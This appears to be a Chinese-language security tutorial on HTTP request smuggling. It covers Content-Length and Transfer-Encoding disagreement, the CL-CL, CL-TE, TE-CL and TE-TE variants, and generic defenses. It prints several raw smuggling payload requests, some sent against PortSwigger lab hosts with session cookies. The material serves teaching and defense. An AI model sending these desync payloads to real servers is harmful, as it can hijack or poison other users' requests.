掌控安全EDU
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
简介
在 HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇文章(附件中上传)中被提出,通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。
在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。
在2019年的BlackHa
t USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。
产生原因
请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。
正常的请求
攻击者通过在自己的请求中夹带一个请求, 来影响到下一个请求中,
一个典型的例子是反射型xss, 通过在上一次请求中走私一个请求头,就可以在正常用户接下来进行的一次正常请求的过程中纂改其请求内容,
比如修改他的请求路径为一个反射性xss链接, 这样就可以达到让用户点击正常链接但是却触发xss链接的目的.
这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length 和 Transfer-Encoding 标头。
Content-Length:表示请求体的长度, 简称CL
Content-Length: 9
6
ZKAQ
9个长度指的是以下内容的长度
6\r\n
ZKAQ\r\n
Transfer-Encoding, 简称TE:表示编码时使用的安全传输的形式有效载荷体
# 常见的几种
Transfer-Encoding: chunked
Transfer-Encoding: compress
Transfer-Encoding: deflate
Transfer-Encoding: gzip
Transfer-Encoding: identity
请求走私中一般用的都是chunked, 将消息正文视为使用分块编码.这里声明8字节长度, 经过一个换行后开始统计, 统计完8字节后经过一个换行表示下一个数据块开始, 长度为0, 被视为请求终止。
Transfer-Encoding: chunked
8
SMUGGLED
0
一个典型的请求如下
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
7\r\n
Mozilla\r\n
9\r\n
Developer\r\n
7\r\n
Network\r\n
0\r\n
\r\n
分类
CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding 头
TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。
CL不为0的GET请求
当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理,这就有可能导致请求走私。
例如下面这个例子:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。
CL-CL
根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。
这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。
例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。
CL-TE
CL-TE就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。
例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n 。
POST / HTTP/1.1
Host: ac811f861fa3584f80e0998500f800dc.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=6mA52yc42gmrXsBVf3gCCwaizRMowHXn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
长度为6是因为0\r\n\r\nG, chunked看到0\r\n\r\n之后就结束接受了, 剩下来一个作为下一个请求头的开始。
TE-CL
TE-CL指就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。
例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
再比如:
POST / HTTP/1.1
Host: ac4e1f3c1fe90e5480a44952006b00a0.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=MDCGt1IHa1MdeOnP1wkjRX15gMuiEGT6
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
12
GPOST / HTTP/1.1
0
chunked检测合理, 注意0\r\n\r\n是规定的结束格式, 然后后端只取12\r\n, 剩下来的东西就变成下一个请求的一部分。
TE-TE
TE-TE指当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。
不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。
从某种意义上还是CL-TE或者TE-CL。测试例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
再比如:
POST / HTTP/1.1
Host: ac731fb01fc279f280a00aac002d0026.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=nGAfuCE6lQ9mnpysbHjt8yG3eO5XnU5S
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: nothing
12
GPOST / HTTP/1.1
0
这里的情况是前端服务器以第一个TE为标准后端服务器以第二个为标准, 前端服务器通过之后, 后端服务器的TE值不存在, 就转而使用Content-Length为依据, 这个时候的情况就相当于TE-CL情况。
防御
从前面的大量案例中,我们已经知道了HTTP请求走私的危害性,那么该如何防御呢?
不针对特定的服务器,通用的防御措施大概有三种。
禁用后端连接重用
确保连接中的所有服务器具有相同的配置
拒绝有二义性的请求
以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。
使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。
从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
